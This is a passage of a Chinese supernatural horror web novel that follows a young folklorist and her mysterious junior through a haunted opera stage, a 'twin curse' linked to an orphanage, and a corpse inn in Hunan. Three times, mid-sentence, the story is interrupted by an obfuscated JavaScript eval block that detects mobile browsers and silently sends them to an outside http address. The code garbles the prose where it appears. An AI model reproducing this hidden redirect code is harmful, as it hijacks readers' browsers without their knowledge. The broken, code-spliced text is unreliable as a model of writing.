“阴婚契...”檀九重声音发颤。血书内容与父亲笔记上记载的阴婚仪式步骤一字不差,但笔迹完全不同。父亲的字方正刚劲,而这血书字迹娟秀中带着癫狂,最后一笔总是拖得很长,像是书写者极度痛苦时的痉挛。 更令人毛骨悚然的是,血书背面粘着一小撮头发,发丝间缠绕着一枚褪色的铜钱——与裴子晏脚踝上那串厌胜钱一模一样。 “学姐小心!” 裴子晏突然扑过来将她拉开。几乎同时,那件红嫁衣无风自动,袖口猛地缠向檀九重刚才站立的位置。戏服内里渗出暗红液体,滴在地上发出腐蚀般的“滋滋”声。 “怨气附物。”裴子晏迅速从口袋里掏出一包朱砂,却‘不小心’失手洒了大半,正好落在戏服上。朱砂接触的瞬间,戏服剧烈抽搐起来,发出类似人类惨叫的声音,然后软塌塌地垂落,再无动静。 檀九重眯起眼睛:“好巧的手滑。” 裴子晏一脸无辜:“我吓坏了嘛。” 没等她追问,后台深处突然传来一阵咳嗽声。两人警觉地望去,只见一个佝偻老人提着煤油灯从阴影处走出。老人约莫八十多岁,左腿不自然地弯曲着,脸上布满烧伤疤痕,但一双眼睛却异常清明。 “张伯?”裴子晏脱口而出。 老人猛地抬头:“你认得我?” 檀九重惊讶地看向裴子晏,后者却神色自若:“门口值班表上有您的照片。” 张伯将信将疑,煤油灯的光在他脸上投下跳动的阴影:“这地方不对外开放。你们是...” “民俗研究所的。”檀九重亮出伪造的工作证,“来调研民国戏曲文化。” 老人喉咙里发出含糊的声音,像是笑又像是哭:“三十年来没人关心这个,偏偏今天连着来两拨...”他蹒跚地走到化妆台前,用颤抖的手抚过那些发霉的油彩,“1937年那场火,烧死了半个戏班。我是唯一活下来的龙套,因为那天去给班主买烟...” 檀九重心跳加速:“玉成班的班主是谁?” “姓杜,外号‘杜十娘’。”张伯的瞳孔微微扩散,陷入回忆,“其实是个男的,专演旦角。那晚最后一场《牡丹亭》,沈胭脂演杜丽娘,唱到‘离魂’时,后台突然传出尖叫...” 老人的叙述与历史记载大相径庭。据他所说,火灾前戏班已经接连失踪了七个学徒,都是十岁左右的孩童。班主杜十娘声称他们回乡探亲,但有人看见深夜戏台上有白色影子飘动,还能听到孩童的哭声。 “沈胭脂发现了什么,临演出前说要揭发班主。”张伯的声音越来越低,“结果她刚唱到‘则为你如花美眷,似水流年’,戏服突然自己烧了起来...” 檀九重与裴子晏交换了一个眼神。这正是瓷枕中传出的唱词。 “后来呢?”她追问。 张伯突然激动起来:“火!到处都是火!但不是红色的,是青白色的,像鬼火...我看到班主站在火里笑,怀里抱着个穿红肚兜的孩子...”老人猛地抓住檀九重的手,“那孩子没有脸!就用朱砂画了眼睛嘴巴!” 檀九重感到老人掌心湿冷异常,低头一看,张伯的手腕内侧赫然有一圈暗红色的勒痕,形状与裴子晏脚踝上的如出一辙。 “您认识檀教授吗?”她突然问。 张伯如遭雷击般松开手,煤油灯“咣当”掉在地上。火焰瞬间窜高,映出墙上密密麻麻的照片——都是玉成班的剧照,但所有杜丽娘扮相的脸都被抠去了。 “走!快走!”老人歇斯底里地推搡他们,“他不让我说...那孩子会来找我...” 裴子晏突然挡在檀九重身前:“什么孩子?” 张伯的瞳孔剧烈收缩,看向裴子晏身后某处,仿佛那里站着什么可怕的东西:“穿红肚兜的...班主养的那个...它饿了就要吃人...” 一阵阴风突然卷过后台,煤油灯彻底熄灭。黑暗中,檀九重感到有什么冰凉的东西擦过她的脖颈,同时闻到一股熟悉的异香——是裴子晏身上的尸香,但浓烈了十倍不止。 “学姐别看。”裴子晏的声音在耳边响起,同时一条浸过朱砂的红绳缠上她的手腕,“慢慢往门口退。” 檀九重却打开了强光手电。光束照向张伯刚才看的方向,只见墙上挂着的杜丽娘戏服不知何时已经转向他们,水袖微微摆动。更恐怖的是,戏服领口处缓缓探出一张惨白的‘脸’——没有五官,只有用血画出的简单线条,与工作室出现的无面孩童一模一样。 “童子骨...”她喃喃道。 那张‘脸’完全伸了出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16449285|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,下面连着细长的脖颈,缠满了红绳铜钱。它‘看’向裴子晏,突然发出刺耳的尖笑:“找到...你了...” 裴子晏脖颈上的锁魂钱瞬间绷直,像是被无形的手拉扯。他闷哼一声,嘴角渗出一丝血迹,却仍死死挡在檀九重前面:“滚回你的棺材去!” 檀九重迅速从包里掏出一把混合了黑狗血的糯米撒向戏服。白烟冒起,无面孩童发出惨叫,缩回了戏服中。她趁机拽起裴子晏往外跑,却发现来时的路已经被扭曲的幕布封死。 “这边!”张伯不知何时打开了另一扇小门,门外是通往地下的楼梯,“地下室通向后巷!” 三人跌跌撞撞冲下楼梯。地下室堆满了陈旧的道具和戏箱,空气中弥漫着刺鼻的霉味。檀九重注意到墙角摆着七口小棺材,每口都贴着一张褪色的符纸,上面写着不同的名字和日期——最近的一张写着‘周小荷’,日期是三天后。 “班主的‘养婴棺’...”张伯喘息着解释,“每十年要喂一个...” 话未说完,老人突然僵住,缺指的左手颤抖着指向楼梯上方。檀九重抬头,只见那件杜丽娘戏服正顺着楼梯滑下来,所过之处留下暗红的痕迹。更可怕的是,戏服领口伸出的不再是孩童的头颅,而是一张女人的脸——妆容精致,却带着死人才有的青灰色。 “沈...胭脂...”张伯瘫软在地。 戏服突然加速向他们冲来。裴子晏猛地扯下锁魂钱按在檀九重掌心:“学姐咬破手指涂在铜钱上!快!” 檀九重毫不犹豫咬破指尖,血珠滴在铜钱上的瞬间,整个地下室剧烈震动起来。锁魂钱变得滚烫,表面的‘通灵’二字渗出暗红液体,竟与她的血融合在一起。一股强大的吸力从铜钱中爆发,戏服发出凄厉的尖叫,被硬生生扯回楼梯上方。 “走!”裴子晏拽起她就往外冲。 三人刚冲出后巷,身后就传来轰然倒塌的声音。老戏台的主建筑在尘埃中塌陷,激起一片灰雾。张伯跪在地上不停磕头,嘴里念叨着“赎罪”之类的话。 檀九重看向掌心的锁魂钱,发现它已经恢复了平静,但表面多了一道细小的裂纹,隐约可见里面有什么东西在蠕动。她刚想仔细看,裴子晏却一把夺回铜钱重新戴好。 “学姐,”他脸色苍白得吓人,嘴角却挂着惯常的轻佻笑容,“下次约会能不能选个正常点的地方?” 檀九重没理会他的玩笑,而是盯着倒塌的戏台。在飞扬的尘土中,她隐约看到一个穿西装的身影站在废墟中央,怀里抱着个穿红肚兜的孩童——那身影的轮廓,与照片中和父亲极为相似。 “裴子晏,”她突然问,“你脚踝上的厌胜钱,是谁给你戴上的?” 裴子晏的笑容僵了一瞬,随后若无其事地拉下裤脚遮住伤痕:“一个...很重视约定的人。” 回程的出租车上,檀九重翻看拍下的血书照片。放大后她发现,在血书边缘有几个几乎淡到看不见的小字:“檀郎,你骗我”。而更令她毛骨悚然的是,当她将血书与父亲笔记并置对比时,虽然笔迹不同,但某些字的转折习惯竟完全一致——就像同一个人用两只手写出的字。 出租车收音机突然自动开启,传出咿咿呀呀的戏曲声:“生者可以死,死可以生...”正是《牡丹亭》的唱段。司机惊恐地拍打收音机,却关不掉。檀九重透过后视镜,看到自己肩上搭着一截水袖——但当她转头时,那里什么都没有。 只有裴子晏脖颈上的锁魂钱,正在无声地渗出暗红液体... 5. 煞气焚 檀九重最后看了一眼坍塌的老戏台。暮色中,废墟像一具扭曲的骨架,残存的木梁突兀地刺向天空。张伯已经被救护车接走,临走前老人死死抓着她的手,缺指的左手在她掌心画了个奇怪的符号——圆圈里套着七枚铜钱。 “学姐,该走了。” 裴子晏站在出租车旁,脖颈上的锁魂钱在夕阳下泛着暗红。从戏台逃出来后,他就异常安静,连惯常的轻佻笑容都消失了。更奇怪的是,他右肩处的衣服破了个洞,边缘泛着焦黑色,像是被什么腐蚀过。 “你受伤了?”檀九重走近问道。 裴子晏下意识捂住右肩:“没事,就是...” 话音未落,戏台废墟突然传来一声巨响。两人同时回头,只见一根粗大的主梁从废墟中弹起,如同被无形的手抛掷,直直朝他们飞来! “小心!” 裴子晏猛地推开檀九重。主梁擦着她的发梢掠过,却精准地刺穿了裴子晏的右肩,带着他整个人向后飞去,将他钉在五米外的一棵老槐树上。 “裴子晏!” 檀九重冲过去,却在几步外硬生生刹住脚步——没有血。碗口粗的木桩贯穿了裴子晏的肩膀,但伤口处没有一滴血流出,只有缕缕黑气如活物般在伤口周围蠕动。更诡异的是,那些黑气正顺着木桩向裴子晏体内钻去,发出令人毛骨悚然的“嘶嘶”声。 “煞气...”檀九重头皮发麻。父亲笔记中记载过,只有极凶之地才会产生实质化的煞气,能蚀骨焚心,活人触之即死。 但裴子晏还‘活’着。他脸色惨白,额头渗出豆大的汗珠,脖颈上的锁魂钱疯狂震动,发出高频的嗡鸣。看到檀九重,他竟然还扯出一个虚弱的笑容:“学姐...这次...能算工伤吗...” “闭嘴!”檀九重厉声喝道,手却不受控制地发抖。她迅速检查伤口,发现木桩上刻满了细小的符文——是引煞咒,有人故意将煞气封在戏台主梁中,就等着这一刻。 裴子晏突然剧烈抽搐起来,黑气已经蔓延到他的脖颈,锁魂钱上的裂纹不断扩大。檀九重当机立断,从包里取出七根银针,分别刺入他七大要穴。针尖刚入肉就变成了黑色,她不得不换用备用的桃木针。 “忍着点。”她沉声道,最后一针直刺心口膻中穴。 裴子晏闷哼一声,身体弓起,又重重落回。黑气被银针暂时封住,但他的体温开始急剧升高,转眼就烧得烫手。更糟的是,出租车司机早已吓得逃之夭夭,这荒僻处一时半会儿找不到其他帮手。 檀九重一咬牙,徒手握住木桩露在外面的部分。掌心立刻传来烙铁般的剧痛,但她顾不上这些,用力将木桩从裴子晏肩膀和树干之间拔出。木桩离体的瞬间,裴子晏发出一声不似人类的尖啸,锁魂钱“铮”地断成两半,露出里面一小截发黄的骨头。 “坚持住!”檀九重背起裴子晏,踉跄着向大路方向走去。他轻得不可思议,仿佛骨骼是中空的,只有皮肤和肌肉的重量。 裴子晏滚烫的呼吸喷在她耳后:“学姐...把我...放在太阳底下...” “胡说什么!”檀九重呵斥,却感到背上的躯体越来越烫,几乎要灼穿她的后背。她不得不加快脚步,终于在路边拦到一辆过路的农用车。 回栖梧阁的路上,裴子晏开始说胡话。他时而呢喃着“棺材准备好了”,时而厉声呵斥“别碰那些铜钱”,最奇怪的是,他几次重复“九重别去”,发音清晰得不像呓语,仿佛在阻止某个即将发生的悲剧。 栖梧阁的地下室被改造成了应急医疗室。檀九重将裴子晏放在手术台上,立刻开始准备驱煞的器具。当她剪开他的上衣时,右肩的伤口令她倒吸一口冷气——皮肤下不是血肉,而是一团蠕动的黑气,隐约形成无数细小的骷髅头形状。 “活人早该死了...”她喃喃自语,手上动作却不停。银针已经全部变黑,她换用备用的金针,按照父亲笔记中‘引煞’的步骤,依次刺入裴子晏的十二正经。 然而当针尖探入足少阴肾经时,异常发生了——这条经络的走向与正常人体解剖完全不符,反而像极了父亲笔记中记载的‘阴脉’——那是死者才会有的经络特征! 檀九重的手悬在半空,冷汗浸透了后背。她看向昏迷中的裴子晏,这个会笑会闹、整天叫她学姐的年轻人,难道真的不是活人?但仪器显示他有心跳、有呼吸,只是比常人缓慢许多... “不管了。”她咬牙翻开父亲笔记的禁术篇,找到那个被红笔圈出的‘引魂渡’——这是将煞气引入施术者体内再化解的险招,父亲在旁边批注‘必折阳寿’。 准备工作很快完成。她在自己和裴子晏周围用黑狗血画了双重八卦阵,又在两人手腕系上浸过朱砂的红绳。当最后一根金针刺入裴子晏的人中穴时,檀九重深吸一口气,念出了咒语: “魂兮归来,去君之恒干...” 随着咒语,裴子晏体内的黑气开始顺着金针流出,却在接触到空气的瞬间猛地扑向檀九重!她早有准备,桃木剑横在胸前,剑身上的符文亮起红光,将黑气暂时阻隔。 “...何为四方些,舍君之乐处...” 第二段咒语念出,黑气更加狂暴,几乎凝成实质的鬼面。檀九重感到手腕上的红绳越来越紧,已经勒进皮肉。而更令她心惊的是,裴子晏的胸口突然浮现出七枚铜钱的印记,与她掌心被张伯画下的符号一模一样。 “裴子晏!”她厉声喝道,“我知道你听得见!不想死就帮我!” 仿佛回应她的呼喊,裴子晏突然睁眼——但眼白已经完全变成了黑色。他僵硬地抬起手,一把抓住檀九重的手腕,力道大得几乎要捏碎骨头。 “九重...别去...”他的声音变成了诡异的双重音调,像是两个人在同时说话,“孤儿院...地下...有...” 檀九重想挣脱,却发现裴子晏的拇指正按在她右手腕内侧——那里有一个小小的月牙形胎记,自小就有,但极其隐蔽,连父亲都很少提起。而裴子晏在昏迷中竟能精准找到这个位置,指尖还在无意识地摩挲着,仿佛对这个标记无比熟悉。 “你是谁? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16449286|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她声音发颤,“到底——” 裴子晏突然剧烈咳嗽起来,一团黑气从他口中喷出,在空中凝结成一个扭曲的孩童形象,正是那个无面童尸!它发出刺耳的尖笑,扑向檀九重,却在触及她额头前被一道金光弹开——是父亲笔记中夹着的护身符起了作用。 黑气消散的瞬间,裴子晏胸口的铜钱印记也消失了。他重重倒回手术台,呼吸渐渐平稳,只是脸色依然苍白如纸。檀九重这才发现自己的手术刀已经抵在了他的咽喉处,而她完全不记得是什么时候拿起的刀。 “该死...”她扔开刀,跌坐在椅子上,才发现全身已经被冷汗浸透。 接下来的十二小时里,檀九重寸步不离地守着裴子晏。他的体温时高时低,有几次甚至完全没了呼吸,但总能奇迹般地恢复。凌晨三点,她实在撑不住,靠在椅背上小憩,却被一阵微弱的震动声惊醒。 是裴子晏的手机。屏幕亮起,显示一条新消息:“七日期限将至,童子骨准备好了吗?” 更令檀九重毛骨悚然的是手机屏保——那是一张她与裴子晏的合照,背景明显是某所孤儿院的门口。照片上的她穿着从未拥有过的藏青色连衣裙,而裴子晏看起来比现在年轻些,正亲昵地搂着她的肩膀。两人对着镜头微笑,仿佛多年的挚友。 “这不可能...”她喃喃自语。她从未去过任何孤儿院,更不记得拍过这样的照片。但照片上的衣服她确实有过,是十八岁生日时父亲送的礼物,只穿过一次就莫名其妙失踪了。 “学姐偷看我手机?” 裴子晏虚弱的声音突然响起。檀九重抬头,发现他已经醒了,虽然脸色依旧苍白,但眼神恢复了清明。他试图坐起来,却在看到手机屏幕的瞬间僵住。 “解释。”檀九重将手机举到他面前,声音冷得像冰,“这张照片,还有消息里的‘童子骨’是什么?” 裴子晏的喉结上下滚动,突然剧烈咳嗽起来。等他缓过气,脸上又挂上了那种玩世不恭的笑容:“P图技术不错吧?我特意找了学姐大学时的照片...” “撒谎。”檀九重一把扯开他的衣领,露出右肩的伤口——那里已经愈合了大半,但皮肤下隐约可见黑色纹路,如同细小的符文,“活人不会有阴脉,更不会被煞气入体后还能存活。你到底是什么?” 裴子晏沉默了片刻,突然伸手抚上她的脸颊。这个动作太过自然,以至于檀九重一时忘了躲开。 “学姐,”他轻声道,拇指擦过她眼下的青黑,“你该休息了。” 一阵强烈的困意突然袭来。檀九重想抵抗,却发现四肢不听使唤。在意识消失前的最后一刻,她看到裴子晏从手术台上起身,锁魂钱的碎片从他脖颈滑落,露出下面一圈狰狞的疤痕——那不是绳子勒出的痕迹,而是一道缝合线,像是有人将他的头...重新缝回脖子上... 窗外,七只乌鸦再次落在院墙上,每只脚上的红绳都变成了黑色。而在栖梧阁的地下室深处,那尊裂开的瓷枕突然发出“咯咯”的笑声,九个孩童的眼睛同时流下了血泪... 6. 孤儿院 檀九重睁开眼睛时,阳光已经透过窗帘的缝隙在地板上画出一道金线。她猛地坐起,后脑传来一阵钝痛——昨晚的记忆如潮水般涌来。裴子晏脖颈上的缝合线、手机里那张不存在的合照、还有他手指拂过她胎记时的触感... “醒了?” 声音从房间角落传来。裴子晏靠坐在扶手椅里,穿着她放在客房的备用衬衫,领口松散地敞着,露出锁骨处那道动物咬痕般的疤痕。他脸色依旧苍白,但眼中的神采已经恢复,甚至带着几分惯常的戏谑。最引人注目的是他脖颈上重新戴好的锁魂钱,只是红线换成了黑色的,与昨晚七只乌鸦脚上的黑绳一模一样。 檀九重的手立刻摸向枕下的桃木钉,却发现武器不见了。 “在这儿。”裴子晏晃了晃手中的桃木钉,然后轻轻放回床头柜,“学姐睡得好吗?我熬了粥,用的是安神的茯苓和...” “那张照片是怎么回事?”檀九重打断他,声音因刚睡醒而有些嘶哑,“我从未去过什么孤儿院。” 裴子晏的笑容僵了一瞬,随即恢复如常:“学姐记性真差。那家孤儿院就在城东,叫‘慈安院’,1998年火灾后就废弃了。”他站起身,从书架上抽出一本相册,“你看,这里还有更多...” 檀九重没接相册,而是直接拿起手机搜索。几分钟后,她将屏幕转向裴子晏:“慈安院确实在1998年发生火灾,但时间是9月12日——当天所有儿童都被转移到了其他机构,之后建筑就被拆除了。”她眯起眼睛,“而你告诉我,你是在那里长大的?” 裴子晏歪着头,表情无辜得令人恼火:“我说过吗?” “昨晚你昏迷时说的。”檀九重逼近一步,“‘孤儿院地下有...’有什么?” 锁魂钱突然轻微震动起来,发出蜂鸣般的声响。裴子晏按住铜钱,脸上闪过一丝痛苦:“学姐这么关心我的过去?”他忽然凑近,温热的呼吸拂过她耳畔,“不如先解释下,为什么你手腕上的胎记,和慈安院婴儿档案里编号47的孩子一模一样?” 檀九重如遭雷击。这个胎记极其隐蔽,连父亲都很少提起,裴子晏怎么可能知道它在婴儿档案中的记录? “你胡说什么!” 裴子晏不慌不忙地从口袋里掏出一张泛黄的照片:“慈安院每年都会给孩子们拍纪念照。这是1993年的,看这里...” 照片上是十几个孩子站在孤儿院门口的合影。大部分孩子的脸都被刮花了,但最前排一个婴儿的脚踝处,赫然有一个小小的月牙形胎记——与她手腕上的一模一样。 “这不可能...”檀九重声音发颤。父亲从未提过她去过孤儿院,更别说在那里留下影像记录。 裴子晏又翻出几张照片,全是慈安院的存档照。诡异的是,所有可能拍到他正脸的画面都被刻意损坏,只有背影或侧影得以保留。而在这些残缺的影像中,总能看到一个与现在裴子晏身形相似的男孩,或站在角落,或躲在树后,仿佛一个挥之不去的幽灵。 “学姐若不信,可以去问林院长。”裴子晏突然正经起来,“他夫人还在世,在城东开了家香烛店。” 檀九重将照片塞进包里,转身就走。身后传来裴子晏的喊声:“学姐记得喝粥啊——”接着是一阵剧烈的咳嗽声。她硬起心肠没有回头,但关门时还是放轻了力道。 城东‘福寿香烛店’的门面很小,橱窗里摆着各式纸扎用品,从金元宝到iPhone模型一应俱全。推门时,门楣上的铜铃发出沉闷的响声,像是很久没被碰过了。 店内光线昏暗,檀香与霉味混合成一种奇特的陈腐气息。柜台后坐着个满头银发的老妇人,正用骨节粗大的手搓着线香。听到门响,她头也不抬:“买什么?” “林夫人?”檀九重试探着问,“我是檀九重,檀教授的女儿。” 老妇人的手突然停住。她缓缓抬头,浑浊的眼珠里闪过一丝精光:“檀家的丫头...”她上下打量着檀九重,目光最后停在她手腕上,“月牙胎记还在,很好。” 檀九重下意识捂住胎记:“您认识我?” 林夫人没回答,而是颤巍巍地起身,从里屋捧出个铁盒:“老头子临走前交代,若檀家人来问慈安院的事,就把这个给她。”铁盒上贴着一张泛黄的纸条,上面是父亲的字迹——‘九重亲启’。 檀九重心跳加速。父亲的字迹她绝不会认错,但这纸条看起来至少有十年以上的历史了,而父亲失踪才五年... “打开看看吧。”林夫人递给她一个老式录音机,“老头子说,这里面的东西能解你现在的困惑。” 录音机是上世纪90年代的款式,需要装磁带。铁盒里除了一盘没有标签的磁带外,还有几张泛黄的照片和一份名单。檀九重一眼就看到名单上用红笔圈出的两个名字:‘檀九重’和‘裴子晏’。 “这...这是什么意思?”她声音发紧,“我从未在慈安院住过!” 林夫人露出一个古怪的笑容:“听听磁带吧。” 录音机发出沙沙的响声,然后是父亲熟悉的声音,只是比记忆中年轻许多: “1993年7月7日,慈安院特殊观察记录。47号与48号情况稳定,血咒印记正常...林院长,这两个孩子必须分开抚养,尤其不能让48号知道47号的存在...若我发生不测,48号得替我守着九重...” 录音突然中断,接着是一段杂音,然后父亲的声音变得极其疲惫: “...童子骨已经准备好了,但需要活祭...九重,如果你听到这段录音,记住不要相信任何脖颈上有铜钱的人...除了...” “除了什么?”檀九重急切地问,但录音到此结束,只剩无尽的空白噪音。 林夫人叹了口气:“当年檀教授送来两个孩子,一个是你,一个是那男孩。你们脚踝上都有月牙印记,只是方向相反。”她指了指铁盒里的照片,“看这个。” 照片上是两个婴儿并排躺在小床上,脚踝上的胎记清晰可见,确实如同镜像。更诡异的是,婴儿床边站着个穿西装的男人,只拍到下半身,但那皮鞋和西裤的款式,与老戏台照片中那个酷似父亲的背影一模一样。 “1998年火灾不是意外。”林夫人突然压低声音,“有人要销毁慈安院的记录,特别是关于‘双子咒’的...” “双子咒?”檀九重心头一震。父亲笔记中确实提到过这种邪术——将两个命格相合的孩子从小用咒术绑定,一人生则一人死,常用于续命或挡灾。 林夫人从柜台下取出一把铜钱,排成奇怪的形状:“那男孩替你挡了死劫,现在讨债的来了。”她指向铜钱阵中央,“七日期限一到,不是你死,就是他魂飞魄散。” 檀九重还想追问,店门突然被风吹开,七只乌鸦齐刷刷落在门前的电线杆上,每只脚上都系着黑绳。林夫人脸色大变,一把将铁盒塞给她:“走!从后门走!记住,月圆之夜别让他碰锁魂钱!” 檀九重刚冲出后门,就听到前店传来玻璃碎裂的声音和林夫人的尖叫。她咬牙继续跑,直到拐过两个街区才停下喘息。铁盒里的东西在她怀中发烫,尤其是那盘磁带,摸上去竟像刚出炉般灼热。 手机突然震动,是裴子晏发来的消息: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16449287|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “学姐,我在栖梧阁门口捡到个有趣的东西,猜猜是什么?”附图中,他手里拿着一个褪色的布偶,正是檀九重童年最爱的玩具,她以为早就丢了的兔子玩偶。 更令她毛骨悚然的是,照片背景里的栖梧阁大门上,用血画着七个铜钱组成的图案,与张伯在她掌心画的一模一样。 檀九重拦了辆出租车,途中她再次检查铁盒里的资料。在一沓文件最下面,她发现了一份体检记录——1997年,也就是火灾前一年,慈安院所有儿童都接受过骨髓穿刺。而48号的检查单上盖着‘特殊匹配’的红章,旁边是父亲的签名和一行小字:“备用于九重十八岁劫”。 她突然想起自己十八岁那年确实生过一场怪病,高烧不退整整七日,医生都束手无策。第七天夜里,她隐约听到父亲在门外与人交谈,提到‘童子骨’和‘换命’。第二天,她的病奇迹般好转,而父亲从此变得沉默寡言,三个月后便失踪了... 回到栖梧阁时已是黄昏。裴子晏坐在门前的石阶上,手里把玩着那个旧布偶。看到她下车,他扬起一个灿烂的笑容:“学姐回来啦?我找到你小时候的玩具哦。” 檀九重警惕地停在五步之外:“你从哪弄到的?” “就在阁楼那个红木箱里。”裴子晏歪着头,“学姐不记得了吗?你说过要把最宝贝的东西藏在那里...” “我从未说过这种话。”檀九重冷声道,“那个箱子是父亲失踪后才送来的,我根本没打开过。” 裴子晏的笑容僵住了。他慢慢站起身,锁魂钱在夕阳下泛着血色的光:“是吗?那箱子里还有我们的合照呢...”他从口袋里掏出一张照片,“看,1995年儿童节,我们一起去动物园。” 照片上,年幼的檀九重和一个小男孩站在熊猫馆前。男孩的脸被墨水涂黑了,但脖子上已经挂着一个小小的铜钱。而小檀九重手腕上的胎记清晰可见,正开心地举着冰激凌。 檀九重太阳穴突突直跳。她确实记得那次动物园之行,但记忆中她是和父亲单独去的,根本没有第三个同伴! “你到底是谁?”她声音发抖,“为什么我完全不记得你?” 裴子晏的表情突然变得异常悲伤。他向前一步,伸手想碰她的脸,却在半途停住:“学姐怎么不问我...为什么知道你能用禁术?” 这个简单的问题如同一桶冰水浇下。确实,‘引魂渡’是檀家秘传的禁术,连父亲笔记中都只记载了片段。裴子晏不仅知道她会用,还在关键时刻引导她施展... 远处传来乌鸦的叫声。七只黑鸟从栖梧阁屋顶飞起,在空中排成一个诡异的阵型。裴子晏仰头看了看,突然剧烈咳嗽起来,一缕鲜血从他嘴角溢出。 “来不及了...”他抹去血迹,锁魂钱上的裂纹又扩大了几分,“学姐,今晚月圆,无论听到什么声音,千万别开——” 话未说完,他猛地弯腰干呕起来,一团黑气从口中喷出,在空中凝结成无面童尸的形状,转瞬即逝。裴子晏跪倒在地,脖颈上的缝合线开始渗出黑色的液体。 檀九重本能地上前扶住他,却在触碰到他皮肤的瞬间如遭电击——裴子晏的体温低得不像活人,而更可怕的是,她手腕上的胎记突然开始发烫,与他的温度形成诡异的呼应。 “学姐...”裴子晏艰难地抬头,黑色的瞳孔中映出她惊恐的脸,“你终于想起来了...我们是被‘双子咒’绑定的祭品啊...” 栖梧阁的大门突然无风自动,重重关上。门内传来瓷枕“咯咯”的笑声,九个孩童的合唱在暮色中回荡:“月儿圆,月儿亮,照见新娘入洞房...” 7. 尸香踪 湘西沅陵的雨带着股腐木气息。檀九重撑伞站在‘归乡客栈’破旧的招牌下,檐角铜铃在风中叮当作响,声音却莫名沉闷,像是被什么无形之物捂住了。 “就是这里。”裴子晏从身后贴近,潮湿的卫衣蹭到她的手臂,“民国时期赶尸人歇脚的‘尸栈’,现在改成民宿了。” 檀九重不动声色地拉开距离。自从那晚裴子晏说出‘双子咒’三个字后,栖梧阁的瓷枕就彻底安静了,仿佛在酝酿更大的风暴。而更令她不安的是,父亲铁盒中的资料显示,这家客栈与三十年前玉成班的失踪案有关。 “记住我们的约定。”她压低声音,“找到线索就离开,别惹事。” 裴子晏眨眨眼,脖颈上的锁魂钱在雨中泛着青光:“学姐说了算。”他笑得人畜无害,却在她转身时不着痕迹地抹去嘴角一丝暗红——从瓷枕安静那晚起,他就开始咳血,但每次都巧妙地避开了她的视线。 客栈大堂弥漫着浓重的药香,掩盖了某种更深层的腐败气息。柜台后坐着个四十出头的女人,蜡黄的脸上涂着不合时宜的胭脂,十指指甲却泛着不健康的青灰色。 “两位住店?”女人嗓音沙哑,眼神在裴子晏脖颈的锁魂钱上多停留了一秒。 檀九重亮出伪造的民俗学者证件:“听说您这里保留了不少赶尸文化的文物?” 女人——柜台名片显示她叫龙三娘——突然咧嘴一笑,露出参差不齐的黄牙:“城里人就是爱看稀奇。”她推过一本发黄的登记簿,“先登记吧,天黑了就别出门了。” 登记簿的皮质封面已经皲裂,内页却保存完好。檀九重随手翻到五年前的记录,一个熟悉的签名赫然入目——檀明远,父亲的名字,日期却是他失踪后第三年的冬至! 她手指一颤,裴子晏立刻按住那一页:“龙老板,这位檀先生住的是哪间房?” 龙三娘的眼珠转了转:“东厢二楼尽头那间。不过现在住着我女儿...”她突然压低声音,“丫头身子弱,见不得风,两位别去打扰。” 檀九重敏锐地注意到,龙三娘说这话时,柜台下的手做了个奇怪的手势——拇指扣住小指,其余三指伸直,正是父亲笔记中记载的‘镇尸印’。 入住手续很快办完。他们的房间在西厢,窗户正对东厢二楼。放好行李后,檀九重立刻架起望远镜观察对面——那间房的窗帘紧闭,但偶尔会轻微晃动,像是有人从缝隙中窥视。 “学姐,”裴子晏递来一杯热茶,茶汤泛着诡异的紫红色,“喝点‘定神汤’,这地方阴气重。” 檀九重没接,而是从包里取出父亲的照片:“你看这个。”照片背景正是归乡客栈的大门,父亲怀里抱着个包袱,表情凝重。最奇怪的是,照片上的日期显示是去年拍的,而父亲已经失踪五年了。 裴子晏盯着照片,眼神突然变得异常锐利:“学姐,你相信人死能复生吗?” “不信。”檀九重斩钉截铁,却想起铁盒中‘七日还魂’的字条。 裴子晏轻笑一声,突然指向窗外:“那你看那个。” 东厢的窗帘被掀开一角,露出一张惨白的小脸——是个十岁左右的女孩,双眼大得不成比例,嘴唇却红得妖艳。当她对上檀九重的视线时,突然咧嘴一笑,露出满口细密的尖牙。 “活尸...”檀九重倒吸一口冷气。父亲笔记中记载过,湘西有些秘术能用特殊药物维持尸体不腐,甚至保留部分生命特征,称为‘活尸’。通常用来暂时保存客死异乡的尸首,等赶尸人凑够一队再统一送回故乡。 裴子晏若有所思:“龙三娘的女儿...我猜已经‘死’了很久了。” 晚饭时,龙三娘端来的菜肴香气扑鼻,却莫名让人没有食欲。檀九重注意到每道菜都加了大量香料,尤其是号称‘家传秘制’的辣酱,红得不像天然食材。 “自家种的辣椒。”龙三娘热情推荐,“能驱湿气。” 